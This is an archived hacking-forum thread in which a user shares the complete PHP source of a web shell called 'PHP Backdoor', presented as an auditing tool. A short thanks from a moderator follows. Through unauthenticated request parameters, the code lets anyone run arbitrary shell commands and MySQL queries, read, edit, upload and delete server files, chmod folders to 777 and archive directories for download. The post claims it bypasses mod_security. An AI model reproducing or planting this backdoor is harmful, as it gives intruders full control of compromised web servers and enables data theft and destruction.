This forum is in archive mode. You will not be able to post new content.

Author Topic: PHP Backdoor  (Read 4428 times)

0 Members and 1 Guest are viewing this topic.

Offline Axon

  • VIP
  • King
  • *
  • Posts: 2047
  • Cookies: 319
    • View Profile
PHP Backdoor
« on: February 21, 2013, 11:16:26 PM »

Name: PHP Backdoor
Purpose: Security Auditing Tool
License: Public Domain


With this you can do the following:


Traverse Directories
View Files
Edit Files
Download Files
Delete Files
Upload Files
Execute MySQL Commands
Execute Shell Commands
Bypasses mod_security
Highlight Likely Database Interaction Files in a Directory
CHMOD777 Directory
GZip and Download Directory
Works on Linux and Windows (CHMOD and GZip only works on Linux)

Code: [Select]
<?php 
// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [3-15-2011] 
// This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :).


function isLinux($path

    return (
substr($path,0,1)=="/" true false); 

function 
getSlashDir($isLinux

    return(
$isLinux '/' '\\'); 

//See if we are on Linux or Windows becuase the paths have to be processed differently 
$cwd=getcwd(); 
$isLinux=isLinux($cwd); 
if(!
$isLinux

    
$driveLetter=substr($cwd,0,1); 

$slash=getSlashDir($isLinux); 
$parts=explode($slash,$cwd); 
$rootDir=($isLinux $slash : ($driveLetter ':' $slash)); 


function 
cleanPath($path,$isLinux

    
$slash=getSlashDir($isLinux); 
    
$parts=explode($slash,$path); 
    foreach(
$parts as $key=>$val)//Process .. directories and a single . 
    

        if(
$val==".."
        { 
            
$parts[$key]=""
            
$lastKey=$key-1
            
$parts[$lastKey]=""
        } 
        elseif(
$val=="."
        { 
            
$parts[$key]=""
        } 
    } 
    
reset($parts); 
    
$fixedPath=($isLinux "/" "");//Some PHP configs wont automatically create a variable on .= or will at least whine about it
    
$firstPiece=true
    foreach(
$parts as $val)//Assemble the path back together 
    

        if(
$val != ""
        { 
            
$fixedPath .=  ($firstPiece '' $slash) . $val
            
$firstPiece=false
        } 
    } 
    if(
$fixedPath=="")//If we took out the entire path go to bottom level to avoid an error 
    

        
$fixedPath=($isLinux $slash : ($driveLetter ":" $slash)); 
    } 
     
    
//Make sure there is an ending slash 
    
if(substr($fixedPath,-1)!=$slash
        
$fixedPath .= $slash
    return 
$fixedPath

if(isset(
$_REQUEST['chm'])) 

    if(!
$isLinux
    { 
        echo 
"This feature only works on Linux"
    } 
    else 
    { 
        echo (@
chmod $_REQUEST['chm'] , 0777 ) ? "Reassigned" "Can't Reasign"); 
    } 

elseif(isset(
$_REQUEST['phpinfo'])) 

    
phpinfo(); 

elseif(isset(
$_REQUEST['dl'])) 

    if(@
fopen($_REQUEST['dl'] .  $_REQUEST['file'],'r')==true
    { 
        
$_REQUEST['dl'] .= $_REQUEST['file']; 
        if(
substr($_REQUEST['dl'],0,1)==$slash
            
$fileArr=explode($slash,$_REQUEST['dl']); 
         
        
header('Content-disposition: attachment; filename=' $_REQUEST['file']); 
        
header('Content-type: application/octet-stream'); 
        
readfile($_REQUEST['dl']); 
    } 
    else 
    { 
        echo 
$_REQUEST['dl']; 
    } 

elseif(isset(
$_REQUEST["gz"])) 

    if(!
$isLinux
    { 
        echo 
"This feature only works on Linux"
    } 
    else 
    { 
        
$directory=$_REQUEST["gz"]; 
         
        if(
substr($directory,-1)=="/"
            
$directory substr($directory,0,-1);  
                 
        
$dirParts=explode($slash,$directory); 
        
$fname=$dirParts[(sizeof($dirParts)-1)]; 
         
        
$archive time(); 
         
        
exec"cd $directory; tar czf $archive *"); 
        
$output=@file_get_contents($directory "/" $archive); 
         
        if(!
$output
            
header("Content-disposition: attachment; filename=ACCESS_PROBLEM"); 
        else 
        { 
            
header("Content-disposition: attachment; filename=$fname.tgz"); 
            echo 
$output
        } 
         
        
header('Content-type: application/octet-stream'); 
        @
unlink($directory "/" $archive); 
    } 

elseif(isset(
$_REQUEST['f'])) 

    
$filename=$_REQUEST['f']; 
    
$file=fopen("$filename","rb"); 
        
header("Content-Type: text/plain"); 
    
fpassthru($file); 

elseif(isset(
$_REQUEST['d'])) 

    
$d=$_REQUEST['d']; 
    echo 
"<pre>"
    if (
$handle opendir("$d"))  
    { 
        echo 
"<h2>listing of "
        
$conString=""
        if(
$isLinux
            echo 
"<a href='?d=$slash'>$slash</a>"
        foreach(
explode($slash,cleanPath($d,$isLinux)) as $val
        { 
            
$conString .= $val $slash
            echo 
"<a href='?d=$conString'>" $val "</a>" . ($val != "" $slash ''); 
        } 
        echo 
" (<a target='_blank' href='?uploadForm=1&dir=" urlencode(cleanPath($d,$isLinux)) . "'>upload file</a>) (<a href='?d=" urlencode(cleanPath($d,$isLinux)) . "&hldb=1'>DB interaction files in red</a>)</h2> (<a target='_blank' href='?gz=" urlencode(cleanPath($d,$isLinux)) . "'>gzip & download folder</a>) (<a target='_blank' href='?chm=" urlencode(cleanPath($d,$isLinux)) . "'>chmod folder to 777)</a> (these rarely work)<br />"
        while (
$dir readdir($handle)) 
        {  
            if (
is_dir("$d$slash$dir"))  
            { 
                if(
$dir != "." && $dir !=".."
                    
$dirList[]=$dir
            } 
            else 
            { 
                if(isset(
$_REQUEST["hldb"])) 
                { 
                    
$contents=file_get_contents("$d$slash$dir"); 
                    if (
stripos($contents"mysql_") || stripos($contents"mysqli_") || stripos($contents"SELECT "))
                    { 
                        
$fileList[]=array('dir'=>$dir,'color'=>'red'); 
                    } 
                    else 
                    { 
                        
$fileList[]=array('dir'=>$dir,'color'=>'black'); 
                    } 
                } 
                else 
                { 
                    
$fileList[]=array('dir'=>$dir,'color'=>'black'); 
                } 
            } 
        } 
         
        echo 
"<a href='?d=$d$slash.'><font color=grey>.\n</font></a>"
        echo 
"<a href='?d=$d$slash..'><font color=grey>..\n</font></a>"
         
        
//Some configurations throw a notice if is_array is tried with a non-existant variable 
        
if(isset($dirList)) 
        if(
is_array($dirList)) 
        foreach(
$dirList as $dir
        { 
                echo 
"<a href='?d=$d$slash$dir'><font color=grey>$dir\n</font></a>"
        } 
         
        if(isset(
$fileList)) 
        if(
is_array($fileList)) 
        foreach(
$fileList as $dir
        { 
            echo 
"<a href='?f=$d$slash $dir['dir'] . "'><font color=" $dir['color'] . ">" $dir['dir'] . "</font></a>" .  
                 
"|<a href='?dl=" cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Download</a>|" .  
                 
"|<a href='?ef=" cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Edit</a>|" .  
                 
"|<a href='?df=" cleanPath($d,$isLinux) . '&file=' .$dir["dir"] . "' target='_blank'>Delete</a>| \n"
        } 
    }  
    else  
    echo 
"opendir() failed"
    
closedir($handle); 

elseif(isset(
$_REQUEST['c'])) 

    if( @
ini_get('safe_mode') ) 
    { 
        echo 
'Safe mode is on, the command is by default run though escapeshellcmd() and can only run programms in safe_mod_exec_dir (' . @ini_get('safe_mode_exec_dir') . ') <br />';
    } 
    echo 
"<b>Command: <I>" $_REQUEST['c'] . "</I></b><br /><br />"
    
trim(exec($_REQUEST['c'],$return)); 
    foreach(
$return as $val
    { 
        echo 
'<pre>' htmlentities($val) . '</pre>'
    } 

elseif(isset(
$_REQUEST['uploadForm']) || isset($_FILES["file_name"])) 

    if(isset(
$_FILES["file_name"])) 
    { 
        if (
$_FILES["file_name"]["error"] > 0
        { 
                echo 
"Error"
        } 
        else 
        { 
            
$target_path $_COOKIE["uploadDir"]; 
            if(
substr($target_path,-1) != "/"
                
$target_path .= "/"
             
            
$target_path $target_path basename$_FILES['file_name']['name']);  


            if(
move_uploaded_file($_FILES['file_name']['tmp_name'], $target_path)) { 
                
setcookie("uploadDir",""); 
                echo 
"The file ".  basename$_FILES['file_name']['name']).  
                
" has been uploaded"
            }  
            else 
            { 
                echo 
"Error copying file, likely a permission error."
            } 
        } 
    } 
    else 
    {        
        
?>

        <form target="_blank" action="" method="GET">
            <input type="hidden" name="cc" value="1" />
            Submit this form before submitting file (will open in new window):<br />
            Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"?>"><br />
            <input type="submit" value="submit" />
        </form>
        <br /><br />
         
        <form enctype="multipart/form-data" action="" method="post">
        Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>


        <?php 
    


elseif(isset(
$_REQUEST['cc'])) 

    
setcookie("uploadDir",$_GET["dir"]); 
    echo 
"You are OK to upload the file, don't upload files to other directories before completing this upload.";

elseif(isset(
$_REQUEST['mquery'])) 

    
$host=$_REQUEST['host']; 
    
$usr=$_REQUEST['usr']; 
    
$passwd=$_REQUEST['passwd']; 
    
$db=$_REQUEST['db']; 
    
$mquery=$_REQUEST['mquery']; 
    @
mysql_connect($host$usr$passwd) or die("Connection Error: " mysql_error()); 
    
mysql_select_db($db); 
    
$result mysql_query($mquery); 
    if(
$result!=false
    { 
        echo 
"<h2>The following query has sucessfully executed</h2>" htmlentities($mquery) . "<br /><br />"
        echo 
"Return Results:<br />"
        
$first=true
        echo 
"<table border='1'>"
        while (
$row mysql_fetch_array($result,MYSQL_ASSOC)) 
        { 
            if(
$first
            { 
                echo 
"<tr>"
                foreach(
$row as $key=>$val
                { 
                    echo 
"<td><b>$key</b></td>"
                } 
                echo 
"</tr>"
                
reset($row); 
                
$first=false
            } 
            echo 
"<tr>"
            foreach(
$row as $val
            { 
                echo 
"<td>$val</td>"
            } 
            echo 
"</tr>"
        } 
        echo 
"</table>"
        
mysql_free_result($result); 
    } 
    else 
    { 
        echo 
"Query Error: " mysql_error(); 
    } 

elseif(isset(
$_REQUEST['df'])) 

    
$_REQUEST['df'] .= $slash $_REQUEST['file']; 
    if(@
unlink($_REQUEST['df'])) 
    { 
            echo 
"File deleted"
    } 
    else 
    { 
            echo 
"Error deleting file"
    } 

elseif(isset(
$_REQUEST['ef'])) 

?>

<script type="text/javascript">
  <!--


  var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";


  function encode64(inpStr) 
  {
     inpStr = escape(inpStr);
     var output = "";
     var chr1, chr2, chr3 = "";
     var enc1, enc2, enc3, enc4 = "";
     var i = 0;


     do {
        chr1 = inpStr.charCodeAt(i++);
        chr2 = inpStr.charCodeAt(i++);
        chr3 = inpStr.charCodeAt(i++);


        enc1 = chr1 >> 2;
        enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
        enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
        enc4 = chr3 & 63;


        if (isNaN(chr2)) 
        {
           enc3 = enc4 = 64;
        } 
        else if (isNaN(chr3)) 
        {
           enc4 = 64;
        }


        output = output +
           key.charAt(enc1) +
           key.charAt(enc2) +
           key.charAt(enc3) +
           key.charAt(enc4);
        chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = "";
     } while (i < inpStr.length);


     return output;
  }


  //--></script>


  <?php 
    $_REQUEST
['ef'] .= $_REQUEST['file'];  
    if(isset(
$_POST["newcontent"])) 
    { 
        
$_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"])); 
        
$stream=@fopen($_REQUEST['ef'],"w"); 
         
        if(
$stream
        { 
            
fwrite($stream,$_POST["newcontent"]); 
            echo 
"Write sucessful"
        } 
        else 
        { 
            echo 
"Could not write to file"
        } 
        
fclose($stream); 
    } 
    
?>

    <form action="" name="f" method="POST">
    <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']) ?></textarea><br />
    <input type="submit" value="I base64 encoded it myself, dont run script" /><br />
    <input type="submit" value="Change (requires javascript to work)"  onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
    </form>
    <?php 

else 

?>

<b>Server Information:</b><br />
<i>
Operating System: <?php echo PHP_OS ?><br />
PHP Version: <?php echo PHP_VERSION ?><br />
<a href="?phpinfo=true">View phpinfo</a>
</i>
<br />
<br />
<b>Directory Traversal</b><br />
<a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br />
<a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br />
<b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>






<hr>Execute MySQL Query:
<form action="" METHOD="GET" >
<table>
<tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr>
<tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr>
<tr><td>password</td><td><input type="text" name="passwd"> </td></tr>
<tr><td>database</td><td><input type="text" name="db"> </td></tr>
<tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr>
<tr><td colspan="2"><input type="submit" value="execute"></td></tr>
</table>
</form>
<hr>
<pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get('safe_mode') ? 'on' 'off'?>): <input type="text" name="c"><input type="submit" value="Go"></form> 
<?php 
//Intentionally left open to avoid output the file download function 1

Source:


http://www.qsdconsulting.com/bd.php
« Last Edit: February 21, 2013, 11:19:03 PM by Axon »

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: PHP Backdoor
« Reply #1 on: February 22, 2013, 04:54:38 AM »
Thank you for sharing.
+1

(personally hate it when nobody responds :) )
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.